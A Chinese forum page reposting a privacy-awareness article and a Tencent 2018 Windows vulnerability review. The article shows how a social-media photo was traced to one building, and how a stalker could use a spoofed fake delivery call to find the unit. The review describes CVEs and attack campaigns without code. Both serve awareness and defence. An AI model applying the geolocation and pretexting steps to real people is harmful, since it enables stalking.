朋友圈别瞎发照片,指不定跟踪狂就是这样找到你家的

zake 发表了文章 • 0 个评论 • 108 次浏览 • 2019-02-25 17:08 • 来自相关话题

 
转自安全脉搏:https://www.secpulse.com/archives/98492.html​ 
作者 :凌云

我有个朋友叫苏苏,她跟我说她在16年被人黑过,最开始是家里的Wi-Fi被人黑了,再到社交账号相继沦陷被盗,紧跟着在QQ邮箱里面给她留了一首陈奕迅的《防不胜防》

防不胜防的歌词,陈奕迅的病态三部曲之一。
然而这不是最让人毛骨悚然的,对方居然在她家里留了个纸条,写着她大姨妈来的日期以及生活的规律

对方留给苏苏的纸条
直到她搬家后才停止了骚扰行为,这种骚扰有个专业名词叫:StalKing,而骚扰她的人则是Stalker。

Stalker就是带有非法或者威胁性的骚扰,这类人群会频繁跟踪受害者,或者监视受害者的上网痕迹,入侵邮箱等行为,甚至会对受害者或者朋友家人作出威胁。

而我们国家目前的法律中表明:“骚扰行为一般不构成犯罪,顶多算侵犯公民隐私,一般送拘留所或者罚几百块。”

正是这个原因,跟踪狂们变得肆无忌惮起来,虽然他们一般不会对受害者造成人身伤害,但造成的心理阴影伴随十几年都是有可能的。

苏苏直到现在收到陌生的快递都在担心这是谁送给她的,而Stalker在网络中说的话异常深情,其实这并不是深情,而是骚扰!

这就是典型的Stalker,可以理解为跟踪狂
姑娘们,我还要跟你们说的是:“你那些不经意的信息泄漏,可能正是跟踪狂的美梦。”

在我上篇文章中,小菲同样是受害者,而小菲正是朋友圈泄漏的信息导致跟踪狂找到家,所以今天我要讲的主题是[size=18]:“朋友圈以后别瞎发,指不定跟踪狂就是在这找到你家的”[/size]

关于小菲的事,新来的可以点:<span style="font-size:15px">有个姑娘被跟踪狂盯上,一调查才发现对方以组织夜跑为幌子,专搞女孩。</span>

在去年我写过一个案例《图片情报分析,根据一张图分析拍摄地点》今天我再次把它搬出来,让姑娘们明白,照片别乱发。

[size=18]这张图片来源于我的朋友圈,征得对方同意后我开始分析拍摄的地点。[/size]


 
01

图片分析拍摄地点
 
有天刷朋友圈的时候看到一张挺漂亮的风景照,然后看到照片中看到一些比较有特色的参照物
 

[size=12]朋友圈看到的照片[/size]
 
我用照片无损放大工具放大照片中的特色建筑物,找到有两处比较有特色的参照物。
 

红色方框标记出来的地方
 
第一处参照物放大之后能够非常清晰看到四个大字 “禹州集团”
 

 
而百度百科告诉我禹州集团分别在 新加坡 香港 上海 合肥 福州 厦门都设有分支机构,我筛选了以上六个城市,唯有厦门是符合。
 

对比黄色条纹线能判断出是符合的
 
为了证明我的猜测,我还对比了隔壁带有蓝色窗户的高楼。
 

左边是原图,右边是全景图
 
第二个参照物是一个圆形,并且周围有很多树,我的猜测是这是一个花园,打开卫星地图,很快就能发现在禹州大厦隔壁确实有个圆形的地方,这个地方叫水上广场。
 

 
拍摄位置是在这个水上广场的河对面,再往前看河对岸的确是一个小区。
 

 
然而当我用全景地图走进东卉花园的时候,我的判断出错了,很明显东卉花园的楼层太矮,如果是这个高度的话是无法拍摄到禹州集团的,所以应该在更加往后的位置拍摄。
 

东卉花园楼层最多11层
 
而我再往后一个小区楼层同样太矮,这时候再次进去拍摄这张图的主人朋友圈里面,看到她在室内拍摄的图片,正是这张图片让我找到了具体在哪栋楼拍摄的。
 

朋友圈找到一张新的图片
 
我再次标出三个参照点,第一个参照点是水上乐园的通往河对岸的一座桥,第二处参照点是一个弧形的小区,第三个参照点则是三角形的斑马线,我用卫星地图很快就找到符合三处参照物的地方,并且用红色方框标记出来了
 

 
最后我用全景地图站在第三处带有三角形斑马线的参照点上,向拍摄的位置看去,符合拍摄角度以及楼层高度的只有一栋楼,中闽大厦。
 

 
事情到这一步,我不具备判断多少层拍摄的能力,你以为危险就消失了吗?
 
假如我是跟踪狂
 
假设我收集了照片拍摄主人的个人信息,比如她的手机号或者姓名,然后用一个改号软件打过去问她:“我是送外卖的,地址填写的是中闽大厦,您方便下来拿吗?或者我送上楼给您,您在哪栋楼哪件房呢?”
 
如果我是一个跟踪狂,并且我也在厦门,我是不是可以给她点一份真正的外卖,在门口守着送快递进来这栋楼的人,等着她下楼拿外卖的时候我跟着上去?又或者跟着外卖小哥上去呢?
 
 
02

照片中遗留的Exif信息
 
看完上面的咱们再来讲讲,照片里遗留的Exif信息,我还得搬出一个案例,同样也是去年的,在调查一个色情网站站长的时候,我找到他上传在一个网站的照片,正是这种照片记录了当时拍摄地点的经纬度,从而导致暴露位置的情况。

这个Exif信息主要会记录下你的拍摄设备型号,经纬度,拍摄时间等等的信息,通过查询经纬度可以查到拍摄地点
 

查看相机Exif信息
 
所以我建议你把相机的定位权限给关掉,虽然微信发朋友圈的照片会替你自动抹除,但是其他社交类APP不保证会给你抹除,为了保险起见,听话。
 

关闭相机定位功能
 
 
 
03

打卡跑步截图记得打码
     我经常看到朋友圈有人发Keep的跑步打卡截图,而这些图片出现的敏感信息,比如"XX学校,XX鸡米饭"等可以通过搜索引擎检索的内容都打上码,防止别有用心的人恶意分析你家住哪。
 

图片来源网络
 
而大多数都是在家附近的跑步,不会到十几公里二十公里外的地方去跑,除非他吃饱撑着了。。。
 
     今天就给你们写到这了,一下子是写不完的,这篇文章很短,但我觉得很精悍,跟踪狂可能就在你身边,不是危言耸听,怀有警惕总没错,别忘了朋友圈设置三天可见!

最后,希望大家能转发一下朋友圈,心系人身丶隐私安全。想要得到更多读者,不求打赏,只求陪伴,谢谢你们。
 
说到这,你应该知道怎么做了
如果还不知道,我给你提个醒。
 
照片出现的敏感信息打码最好把朋友圈设置仅三天可见陌生人别开放朋友圈 查看全部

 

转自安全脉搏:https://www.secpulse.com/archives/98492.html​ 
作者 :凌云

我有个朋友叫苏苏,她跟我说她在16年被人黑过,最开始是家里的Wi-Fi被人黑了,再到社交账号相继沦陷被盗,紧跟着在QQ邮箱里面给她留了一首陈奕迅的《防不胜防》

防不胜防的歌词,陈奕迅的病态三部曲之一。
然而这不是最让人毛骨悚然的,对方居然在她家里留了个纸条,写着她大姨妈来的日期以及生活的规律

对方留给苏苏的纸条
直到她搬家后才停止了骚扰行为,这种骚扰有个专业名词叫:StalKing,而骚扰她的人则是Stalker。

Stalker就是带有非法或者威胁性的骚扰,这类人群会频繁跟踪受害者,或者监视受害者的上网痕迹,入侵邮箱等行为,甚至会对受害者或者朋友家人作出威胁。

而我们国家目前的法律中表明:“骚扰行为一般不构成犯罪,顶多算侵犯公民隐私,一般送拘留所或者罚几百块。”

正是这个原因,跟踪狂们变得肆无忌惮起来,虽然他们一般不会对受害者造成人身伤害,但造成的心理阴影伴随十几年都是有可能的。

苏苏直到现在收到陌生的快递都在担心这是谁送给她的,而Stalker在网络中说的话异常深情,其实这并不是深情,而是骚扰!


这就是典型的Stalker,可以理解为跟踪狂
姑娘们,我还要跟你们说的是:“你那些不经意的信息泄漏,可能正是跟踪狂的美梦。”

在我上篇文章中,小菲同样是受害者,而小菲正是朋友圈泄漏的信息导致跟踪狂找到家,所以今天我要讲的主题是
[size=18]:“朋友圈以后别瞎发,指不定跟踪狂就是在这找到你家的[/size]

关于小菲的事,新来的可以点:<span style="font-size:15px">有个姑娘被跟踪狂盯上,一调查才发现对方以组织夜跑为幌子,专搞女孩。</span>

在去年我写过一个案例《图片情报分析,根据一张图分析拍摄地点》今天我再次把它搬出来,让姑娘们明白,照片别乱发。

[size=18]这张图片来源于我的朋友圈,征得对方同意后我开始分析拍摄的地点。[/size]


 
01

图片分析拍摄地点
 
有天刷朋友圈的时候看到一张挺漂亮的风景照,然后看到照片中看到一些比较有特色的参照物
 

[size=12]朋友圈看到的照片[/size]
 
我用照片无损放大工具放大照片中的特色建筑物,找到有两处比较有特色的参照物。
 

红色方框标记出来的地方
 
第一处参照物放大之后能够非常清晰看到四个大字 “禹州集团”
 

 
而百度百科告诉我禹州集团分别在 新加坡 香港 上海 合肥 福州 厦门都设有分支机构,我筛选了以上六个城市,唯有厦门是符合。
 

对比黄色条纹线能判断出是符合的
 
为了证明我的猜测,我还对比了隔壁带有蓝色窗户的高楼。
 

左边是原图,右边是全景图
 
第二个参照物是一个圆形,并且周围有很多树,我的猜测是这是一个花园,打开卫星地图,很快就能发现在禹州大厦隔壁确实有个圆形的地方,这个地方叫水上广场
 

 
拍摄位置是在这个水上广场的河对面,再往前看河对岸的确是一个小区。
 

 
然而当我用全景地图走进东卉花园的时候,我的判断出错了,很明显东卉花园的楼层太矮,如果是这个高度的话是无法拍摄到禹州集团的,所以应该在更加往后的位置拍摄。
 

东卉花园楼层最多11层
 
而我再往后一个小区楼层同样太矮,这时候再次进去拍摄这张图的主人朋友圈里面,看到她在室内拍摄的图片,正是这张图片让我找到了具体在哪栋楼拍摄的。
 

朋友圈找到一张新的图片
 
我再次标出三个参照点,第一个参照点是水上乐园的通往河对岸的一座桥,第二处参照点是一个弧形的小区,第三个参照点则是三角形的斑马线,我用卫星地图很快就找到符合三处参照物的地方,并且用红色方框标记出来了
 

 
最后我用全景地图站在第三处带有三角形斑马线的参照点上,向拍摄的位置看去,符合拍摄角度以及楼层高度的只有一栋楼,中闽大厦。
 

 
事情到这一步,我不具备判断多少层拍摄的能力,你以为危险就消失了吗?
 
假如我是跟踪狂
 
假设我收集了照片拍摄主人的个人信息,比如她的手机号或者姓名,然后用一个改号软件打过去问她:“我是送外卖的,地址填写的是中闽大厦,您方便下来拿吗?或者我送上楼给您,您在哪栋楼哪件房呢?”
 
如果我是一个跟踪狂,并且我也在厦门,我是不是可以给她点一份真正的外卖,在门口守着送快递进来这栋楼的人,等着她下楼拿外卖的时候我跟着上去?又或者跟着外卖小哥上去呢?
 
 
02

照片中遗留的Exif信息
 
看完上面的咱们再来讲讲,照片里遗留的Exif信息,我还得搬出一个案例,同样也是去年的,在调查一个色情网站站长的时候,我找到他上传在一个网站的照片,正是这种照片记录了当时拍摄地点的经纬度,从而导致暴露位置的情况。

这个Exif信息主要会记录下你的拍摄设备型号,经纬度,拍摄时间等等的信息,通过查询经纬度可以查到拍摄地点
 

查看相机Exif信息
 
所以我建议你把相机的定位权限给关掉,虽然微信发朋友圈的照片会替你自动抹除,但是其他社交类APP不保证会给你抹除,为了保险起见,听话。
 

关闭相机定位功能
 
 
 
03

打卡跑步截图记得打码
     我经常看到朋友圈有人发Keep的跑步打卡截图,而这些图片出现的敏感信息,比如"XX学校,XX鸡米饭"等可以通过搜索引擎检索的内容都打上码,防止别有用心的人恶意分析你家住哪。
 

图片来源网络
 
而大多数都是在家附近的跑步,不会到十几公里二十公里外的地方去跑,除非他吃饱撑着了。。。
 
     今天就给你们写到这了,一下子是写不完的,这篇文章很短,但我觉得很精悍,跟踪狂可能就在你身边,不是危言耸听,怀有警惕总没错,别忘了朋友圈设置三天可见!

最后,希望大家能转发一下朋友圈,心系人身丶隐私安全。想要得到更多读者,不求打赏,只求陪伴,谢谢你们。
 
说到这,你应该知道怎么做了
如果还不知道,我给你提个醒。
 
  1. 照片出现的敏感信息打码
  2. 最好把朋友圈设置仅三天可见
  3. 陌生人别开放朋友圈

【转帖】2018年Windows漏洞年度盘点——腾讯手机管家

willeson 发表了文章 • 0 个评论 • 107 次浏览 • 2019-01-26 20:25 • 来自相关话题

一、   前言
漏洞是影响网络安全的重要因素,而漏洞攻击作为恶意攻击的最常用手段,更是有着目标行业化、手段多样化的趋势,不论是个人还是企业,都面临着严峻的漏洞威胁。
2018年在轰动式的“幽灵”、“熔断”两大CPU漏洞中揭开序幕。“震网3漏洞利用挖矿”、“412挂马风暴”等安全事件发生表明,漏洞利用攻击,不再是APT组织的“专属”,漏洞利用正往“低成本化”趋势发展。过去一年,Windows、Office、IE、Flash等高危漏洞频繁被曝光,而各种野外漏洞利用更是攻击层出不穷,更给个人和企业的网络安全带来了严峻的威胁。本报告主要重点分析2018年Windows平台的漏洞攻击态势,并给个人和企业合理化的漏洞防护建议。二、2018年Windows平台漏洞盘点
2018年对于安全行业是颇具考验的一年,据安全数据库网站cvedetails.com的漏洞提交数据统计,自1999年起,Windows操作系统的漏洞提交数量就呈逐年上涨的趋势,而在近几年达到了一个爆发期,今年的安全漏洞提交数相较过往三年同比上升最高超过40%,安全漏洞的数量和严重性创下历史新高。
 
2.1  2018年Windows安全公告数量
在软硬件漏洞遍地都是的今天,补丁管理作为网络安全最基础的一环,就显得尤为重要。在企业选择产品时亦需要注意厂商对其产品安全性的投入,只有软件/平台开发商对于产品安全性投入高,产品才有保障。微软作为全球知名的软件开发商,对其名下产品的安全性投入是比较到位的,每月都会进行维护发布补丁修复安全漏洞。2018全年微软共为其产品(Windows,IE/Edge,office等)发布了874个补丁,修复了728个漏洞,平均每月修复多达60个漏洞。

 2.2  Windows漏洞影响产品&系统分布
2018年,在所有漏洞影响的Windows产品中,Windows系统组件漏洞占到了35%的比例,浏览器漏洞占25%,Office漏洞则占比17% 。
 

根据腾讯御见威胁情报中心的数据监测,虽然Office和Adobe(主要是Flash)被曝光的漏洞相对较少,但漏洞利用的比例最高。可见,黑客挑选漏洞时,更可能是优先考虑漏洞利用的成本,并参考其攻击目标人群与产品用户的重合度,而与产品本身漏洞量的多少并无正相关。
 

相比较2017年,2018年Office和.net的漏洞曝光量上升比较明显,相对Windows系统组件漏洞,Office漏洞常被大家忽视,但却备受黑客喜爱,众多专业黑客组织对重要目标的攻击,会选择使用Office高危漏洞,腾讯御见威胁情报中心再次提醒大家需及时安装Office漏洞补丁,避免偶然打开一个文档就被植入后门。
 

在所有Windows各版本中,受到最多漏洞影响的却是Windows 10系统,这说明Windows 10已是主流的操作系统版本,其漏洞曝光量正越来越多,同时提醒广大用户,即便使用最新版本的操作系统,也不可忽视漏洞风险,每个月及时安装安全更新是防范黑客入侵的必要步骤。
 

从2017年同比数据也可以看出,Windows Server 2016上报告的漏洞数增加了近7%,同时可预测,针对新版服务器操作系统的漏洞也将越来越多。
 
2.3  2018年漏洞攻击的地区&行业分布
2018年漏洞攻击地区分布与当地经济水平及信息化普及程度相关。2018年漏洞攻击集中在北上广三地,其中以国家政府机关、高科技人才和经济富裕人士汇集的首都北京首当其冲。北上广是全国经济、政治和科技要地,更是走在中国国际化的前列,大量可见利益汇集,是不法黑客首选的攻击目标。
 

根据腾讯御见威胁情报中心数据监测, Windows操作系统存在高危漏洞在教育、政府、卫生医疗行业占比最高。
 

从受攻击量的对比数据看,政府、教育、医疗卫生行业因为其系统存在大量高危漏洞未及时修复,所受攻击次数也相对较高。而科技行业虽然漏洞存在量相对较少,受攻击量却是最高的,这样从另一方面说明,漏洞利用攻击者通常是有目的针对性地采取攻击,对科技行业的攻击,泄取机密往往成为首选目的。
 
2.4   国内用户整体漏洞修复情况&高危漏洞修复情况
2018国内用户整体漏洞修复中,Windows漏洞和.NET漏洞达到了70%以上的修复率,其次是IE、Flash和Office漏洞修复率徘徊在60%上下。整体漏洞修复率偏低可以反映出国内的个人用户目前的信息安全意识亟待提升,公众对于安全漏洞的危害认知尚不到位。

而在四类高危漏洞(存在野外利用的漏洞)修复中,Windows高危漏洞达到了82%的修复率,其次是IE和.NET高危漏洞修复率约达到70%,Flash和Office高危漏洞则修复率较低,仅有约50%。
 

Flash高危漏洞修复率偏低是由于许多第三方软件会自带一个Flash插件,而微软官方提供的Flash补丁仅能更新其中一小部分,无法完全覆盖第三方浏览器目录下的所有Flash插件,导致部分用户电脑上的Flash漏洞较难得到彻底修复解决。
Office软件本身对更新做的是相对较弱的提示,如果没有第三方安全软件的强提醒,一般用户主动安装补丁修复Office安全漏洞的较少;另一方面,国内存在大量盗版Office用户,而这些盗版镜像往往经过镜像制作者的修改,难以正常安装补丁。对于重要的政府机构、企事业单位、科研机构来说,软件系统的正版化对降低黑客入侵风险具有十分重要的意义。2.5 Windows漏洞危害类型分布&漏洞危害等级分布
在2018年曝光的Windows平台漏洞中,远程执行代码类漏洞达到了42%的高占比,其次是信息泄露类漏洞和特权提升类漏洞各占20%。远程执行代码类漏洞由于其兼具隐蔽性与自由度,广受黑客攻击者欢迎,今年曝出的两个IE“双杀”0day漏洞(CVE-2018-8174、CVE-2018-8373)就是被广泛利用于恶意攻击的最好例子。
 

2018年曝光的Windows平台漏洞中,“危急”等级(漏洞危害最高等级)的漏洞占比23%,“危急”等级的漏洞量依然占据着较高的比例。
 
2.6  Windows漏洞利用病毒分布&被利用的漏洞分布
在2018年利用漏洞进行攻击的病毒中,非PE(文件格式)占了66%的高比例,而PE文件占了31%。常见非PE漏洞攻击病毒有Office宏类病毒、脚本类病毒。相比较PE,非PE病毒的攻击手法更灵活,对安全软件来说检测非PE病毒更为困难。
 
2.7 2018年Windows平台高危漏洞盘点
 

2018年1月
Microsoft Office公式编辑器再次曝出两个高危漏洞CVE-2018-0798和CVE-2018-0802。CVE-2018-0798是Office公式编辑器在解析Matrix Record(0×05)的内容时,没有对行与列的成员进行特定的长度校验,这就导致黑客可以通过精心构造内容任意指定后续读入的行与列长度,从而造成栈溢出。CVE-2018-0802技术原理与之类似,微软在1月9日通过发布移除公式编辑器的补丁修复这两个漏洞。 
[b]2018年2[/b]月
Adobe Flash被曝出一个0day漏洞CVE-2018-4878。该漏洞影响版本在28.0.0.137以下的Adobe Flash,通过修改Flash脚本对象ByteArray的值至特殊长度来实现任意地址读写,实现漏洞利用,再将Adobe Flash Player嵌入Office文档和邮件等载体中并诱使用户打开的途径快速传播漏洞,在解析ATF文件时访问内部数据结构使用了无效的指针偏移导致漏洞,成功攻击后可能会导致敏感信息泄露。该漏洞在2月6日被修复; 
[b]2018年3[/b]月
Ulf Frisk曝光了一个Windows内核提权高危漏洞TotelMeltdown(CVE-2018-1038 )。该漏洞是由微软先前发布用于修复“Meltdown”漏洞的补丁产生的新问题,补丁错误地将PML4权限设定成用户级,可以让任意进程读取并修改页表项目,该漏洞仅影响Windows7 x64 和Windows Server 2008 R2系统,并在3月29日被修复; 
[b]2018年4[/b]月
Internet Explorer被曝出一个0day漏洞“双杀”(CVE-2018-8174)。该漏洞通过VBScriptClass::Release函数中存在的缺陷访问未分配内存,从而触发漏洞达到任意地址读写的目的。该漏洞通过精心构造的页面或往邮件或Office文档中嵌入VBScript脚本即可触发,危害性较强,也因此被命名为“双杀”漏洞,且一遭曝光便第一时间被APT组织利用于黑客活动。该漏洞于5月8日被修复; 
[b]2018年5[/b]月
Windows操作系统和Adobe Acrobat/Reader PDF阅读器被ESET公布了两个捆绑在一起的0day漏洞。
(CVE-2018-8120、CVE-2018-4990)这是源于ESET在3月捕获的用于攻击测试的一个PDF样本。CVE-2018-4990实际上是一个堆内存越界访问任意地址释放漏洞,原样本精准地使用堆喷射布局内存,然后释放两块大小为0xfff8的相邻堆块,在Windows堆分配算法将堆块合并后,利用该堆块改写一个ArrayBuffer对象的长度为0×66666666从而实现任意地址读写。CVE-2018-8120则是由于内核函数 SetImeInfoEx 未对其目标窗口站 tagWINDOWSTATION的指针成员域 spklList 的指向地址进行有效性校验,而是直接进行读取访问。这两个漏洞已在5月被修复; 
[b]2018年6[/b]月
Windows 10被曝出一个0day漏洞(CVE-2018-8414)。这是一个Windows Shell 远程执行代码漏洞,由于Windows Shell在某些情况下会不正确地验证文件路径,通过精心构造的恶意脚本触发该漏洞,可以达到任意读写的目的。该漏洞仅适用于Windows 10的新文件类型“.SettingContent-ms”,该漏洞直到8月14日才正式分配CVE编号并修复。 
[b]2018年7[/b]月
Internet Explorer被曝光0day漏洞“双杀”二代(CVE-2018-8242),它的出现是由于4月“双杀”一代(CVE-2018-8174)的修复补丁并未完全解决漏洞,导致VBScript脚本引擎中仍存在类似问题,该漏洞由360Vulcan团队发现并提交,并在7月10日被修复; 
[b]2018年8[/b]月
(1)   Exchange Server被公开了一个内存损坏漏洞(CVE-2018-8302)的POC,攻击者可使用钓鱼攻击触发漏洞利用攻击企业用户计算机,并再次发起攻击直至接管Exchange Server服务器。Exchange对语音邮件的接收存储过程中,会转换语音邮件读取TopNWords.Data并通过.NET BinaryFormatter对它反序列化,该漏洞就存在于反序列化过程中。(2)   Internet Explorer被Trendmicro曝出0day漏洞“双杀”三代(CVE-2018-8373),它基于与“双杀”一代相似的原理,通过VBScript.dll中存在的缺陷获取任意读取权限。两例漏洞都于8月14日被修复;
[b]2018年9[/b]月
(1)   Windows被曝出ALPC提权0day漏洞(CVE-2018-8440),它通过高级本地过程调用(ALPC)函数中SchRpcSetSecurity函数无法正确检查用户权限的缺陷,获得本地权限提升(LPE)来执行恶意代码。
(2)   Microsoft Jet Database Engine被公开了一个远程代码执行0day漏洞(CVE-2018-8423)的POC,该漏洞是一种越界(OOB)写入漏洞,可诱导用户打开包含以JET数据库格式存储的数据的特制文件,通过对象链接和嵌入数据库(OLEDB)的Microsoft组件打开Jet源来触发漏洞,发起攻击。两例漏洞分别于9月11日和10月9日被修复;
1[b]2018年0[/b]月
(1)   Microsoft Edge被公开了一个关于Windows Shell的RCE高危漏洞(CVE-2018-8495)的POC,攻击者可以使用该漏洞利用POC,通过Microsoft Edge构造包含特殊URI的网页,诱导用户打开即可实现在远程计算机上运行恶意代码。漏洞是由于Windows Shell处理URI时,未过滤特殊的URI所导致(如拉起脚本的Windows Script Host的URI为wshfile)。
(2)   Windows被曝出一个Win32k提权0day漏洞(CVE-2018-8453),它的利用过程较为复杂,简言之是利用了在win32k.sys组件的win32kfull!xxxDestroyWindow函数中的UAF漏洞从而获取本地提权。两例漏洞都于10月9日修复; 
[b]2018年11[/b]月
Windows再被曝出Win32k提权0day漏洞(CVE-2018-8589)。它的出现是由于在win32k!xxxMoveWindow函数中存在不恰当的竞争条件,导致线程之间同时发送的信息可能被不当锁定。该漏洞已在11月13日被修复; 
[b]2018年12[/b]月
(1)   Microsoft DNS Server被曝光存在一个堆溢出高危漏洞(CVE-2018-8626)。所有被设置为DNS服务器的Windows服务器都会受到此漏洞影响。攻击者向Windows DNS服务器发送精心构造的漏洞利用恶意请求,以触发堆溢出并远程代码执行。漏洞于12月11日发布补丁修复。
(2)   Windows连续第四个月被曝出0day漏洞。这次是一个更加高危的kernel内核事务管理器驱动程序的提权漏洞(CVE-2018-8611),它是源于kernel模式下对文件操作的不当处理引发内核事务管理器产生竞争条件,此漏洞绕过了现在主流web浏览器的进程缓解策略而从实现沙箱逃逸,这可让黑客在web上构建完整的远程代码执行攻击链。该漏洞最初在10月29日被发现,微软于12月11日分配CVE号并公布修复补丁; 三、 2018典型漏洞安全事件
2018年的安全行业,可谓是“热闹非凡”。前有勒索病毒野火烧不尽,春风吹又生;后有随着区块链概念被炒热,挖矿挂马频出;上有APT组织针对企业、政府、科研机构、事业单位的定向攻击;下有针对外贸行业的“商贸信”钓鱼邮件和针对个人用户的钓鱼邮件攻击,小规模爆发。
而专业APT组织的攻击手法,对普通病毒木马黑产起到教科书般的指导和示范作用,致使高危漏洞的利用从高端到大众快速传播普及,高危漏洞对信息安全的影响力之大,由此便可见一斑。
3.1  “新一代幽灵”——英特尔CPU漏洞持续升级
继年初发现的CPU漏洞Meltdown和Spectre后,英特尔处理器在2018年5月初又被Google Project Zero安全研究团队曝出发现8个新的“幽灵式”硬件漏洞,被称为“新一代幽灵”——Spectre-NG。利用该漏洞可绕过云主机系统与虚拟机的隔离,实现虚拟机逃逸,窃取机密信息。并且,利用该漏洞还可以攻击同一服务器的其它虚拟机。
然而,在下半年再次发现了英特尔CPU存在TLBleed、Foreshadow、PortSmash等多个超线程漏洞。11月初发现的PortSmash漏洞(CVE-2018-5407)影响所有支持超线程技术的Intel处理器。利用该漏洞,攻击者所在的进程可以窃取运行在同一个物理内核的另外一个进程的隐私数据,安全研究人员已经实现从OpenSSL进程中窃取私钥。
一系列的CPU漏洞,对芯片漏洞的修复同样一波三折,仓促发布的补丁带来新的风险,同时导致CPU性能下降,补丁不得不发行了多个版本,最终促使英特尔加快新一代处理器的发布进程,并成为把超线程技术彻底砍掉的最后一根稻草。 3.2 Office公式编辑器再曝新漏洞,商贸信钓鱼攻击屡试不爽 (CVE-2017-11882、CVE-2018-0802、CVE-2018-0798)
Office公式编辑器漏洞(CVE-2017-11882)是典型的栈溢出漏洞,存在于Eqnedit.exe组件中,该漏洞影响所有Office版本且极易利用,由于该漏洞在2017年11月14日仅仅被Windows添加了ASLR(地址随机化)漏洞缓解措施,实际上并未真正修复,且大量用户并不升级Office补丁,因此至今仍能见到许多野外攻击案例。
2017年12月20日,腾讯御见威胁情报中心就发现Eqnedt32模块还存在其他漏洞,同时捕获了一例“黑凤梨”(BlackTech)APT组织利用Office公式编辑器中的0day漏洞(CVE-2018-0802)进行攻击的样本,该样本采用鱼叉攻击的方式将携带恶意代码的Office文档伪装成办公文件进行传播,影响范围较为广泛。
2018年1月9日,Office公式编辑器再曝出新漏洞,这次Windows干脆直接通过删掉公式编辑器的途径来修复漏洞,一了百了。但漏洞补丁刚发布一周,就已开始出现多例CVE-2018-0798漏洞的变种和在野利用。
2018年2月26日腾讯御见威胁情报中心捕获到doc文档样本利用了CVE-2017-11882,通过下载并运行已被公开源码的“波尼”木马,窃取用户比特币钱包文件等敏感信息。
2018年6月1日,腾讯御见威胁情报中心再次检测到针对中国进出口企业投放的,利用CVE-2017-11882的大规模“商贸信”攻击,此类攻击邮件的投放量每天达上千封之多,病毒变种也层出不穷。
由此可以预见,未来相当长的一段时间内,鱼叉攻击+简单易用又十分符合办公场景的Office公式编辑器漏洞,仍会成为备受欢迎的针对中小型企业的攻击手段之一。3.3 Adobe系列产品多次报警,0day漏洞屡遭曝光
3.3.1 Adobe Flash再曝0day野外利用(CVE-2018-4878、CVE-2018-5002)
2018年2月1日, Adobe官方发布了安全通告(APSA18-01)称一个最新的Adobe Flash零日漏洞被发现用于针对韩国地区的人员发起鱼叉攻击。该0day漏洞编号为CVE-2018-4878,官方已于2月5日发布补丁进行修复。漏洞公布后,随即发现大量垃圾邮件迅速利用该漏洞进行传播,攻击者发送带有短链接的恶意Word文档的电子邮件,在下载并打开Word文档后,利用该漏洞打开命令行,再用链接到的恶意域的恶意shellcode远程注入命令,下载一个名为m.db的DLL文件,并使用regsvr32进程执行,完成攻击链。 
CVE-2018-5002则在2018年6月7日被发现野外利用,由APT组织Hacking Team通过即时聊天工具或邮箱发送包含外交部官员基本工资情况(阿拉伯语)的钓鱼文档进行攻击,在诱饵文档被用户打开后在宿主进程excel中执行恶意代码,并利用假冒的网站作为木马下载站达成进攻目的。攻击者将Loader、Exploit、Payload实行分离部署,加大安全工程师逆向还原漏洞利用代码的难度,显然是经过精心准备。
该APT组织费尽心思精心构造了攻击链,并使用0day漏洞攻击政府相关部门,可见其具有一定的政治意图。
3.3.2 Adobe Reader被发现0day漏洞在野利用攻击(CVE-2018-8120、CVE-2018-4990)
2018年5月15日, ESET捕获了一个使用两个0day漏洞联合进行攻击的PDF样本,其中包括一个Adobe Reader的0day漏洞(CVE-2018-4990)和Win32k的内核提权0day漏洞(CVE-2018-8120)。
CVE-2018-8120是Win32k特权提升漏洞,CVE-2018-4990是Adobe Acrobat/Reader的堆内存越界访问任意地址释放漏洞,攻击样本通过CVE-2018-4990获取代码执行权限,再通过利用内核提权漏洞绕过Adobe Acrobat/Reader的沙盒保护并实现任意代码执行。而有意思的是该样本仅是一个测试样本,两个0day漏洞还没来得及利用于攻击便已被修复。3.4  老漏洞被反复利用,“永恒之蓝”是否真的永恒?
多数黑客进攻个人电脑和企业服务器的目的,还是从不法途径谋取利益。往往是美味的蛋糕在哪里,不法黑客的身影就出现在哪里,病毒与木马也就如影随形地进攻到哪里。而这批利益至上的黑客们,对易用又稳定的老漏洞可谓是爱不释手,让我们再来看看2018年那些利用老漏洞进行攻击的热点安全事件。 
3.4.1 “永恒之蓝”系列漏洞:从勒索病毒到挖矿木马
“永恒之蓝”是一个于2017年被曝光的,存在于445端口上的SMB文件共享协议漏洞,不法分子利用此漏洞获取系统最高权限,将病毒木马等恶意软件植入Windows系统。近两年来, “永恒之蓝”漏洞已经成为被利用程度最高的安全漏洞之一。
勒索病毒主要通过三种途径传播:漏洞利用、钓鱼邮件和广告。其中通过漏洞发起的攻击占攻击总数的80%以上,典型案例就是以利用“永恒之蓝”漏洞主动传播的蠕虫式勒索病毒。“永恒之蓝”(WannaCry)可以说是开启了勒索病毒的新时代,并将这样的势头延续到了今年。另外,随着区块链的概念越发火热,今年越来越多的人加入炒币行列,而不法黑客自然不会放过这个牟利的好机会。
今年3月,腾讯御见情报威胁中心就捕获一个门罗币挖矿木马WannaMiner利用“永恒之蓝”漏洞在局域网内传播,将染毒机器打造成庞大的僵尸网络,长期潜伏挖矿,国内600多家企业超3万台电脑受到感染;
今年5月,捕获一款门罗币挖矿木马“微笑”通过扫描“永恒之蓝”漏洞攻击企业服务器悄悄在后台进行挖矿。该木马从3月就开始活动,截至5月,其已经累计挖取846枚门罗币,挖矿收入一度高达120万人民币;
6月1日,捕获一款Glupteba恶意代理木马利用“永恒之蓝”漏洞在局域网迅速传播,感染量激增;
今年8月,台积电曝出遭受WannaCry勒索病毒攻击导致产线瘫痪,造成25.96亿新台币损失;
8月9日,捕获蠕虫病毒bulehero利用“永恒之蓝”漏洞在企业内网攻击传播;
11月,又有一家知名半导体企业合晶科技,其位于大陆的工厂全线感染WannaCry勒索病毒,造成产线瘫痪,工厂全部停产。
由于越大型的单位和机械系统,越追求稳定性,使用的越是win7sp0、xp等微软早已停止提供更新服务的操作系统,因此存在大量无法及时修复的漏洞。而只要漏洞场景存在,安全威胁就不会消失,与勒索病毒和挖矿木马的抗争,就必须持续进行下去。 
3.4.2 国内首例利用“震网3”LNK漏洞实施挖矿
2018年3月,腾讯御见威胁情报中心监测到,国内首例使用U盘作为传播载体,利用lnk远程代码执行漏洞(CVE-2017-8464)作为主要传播手段的门罗币挖矿木马。
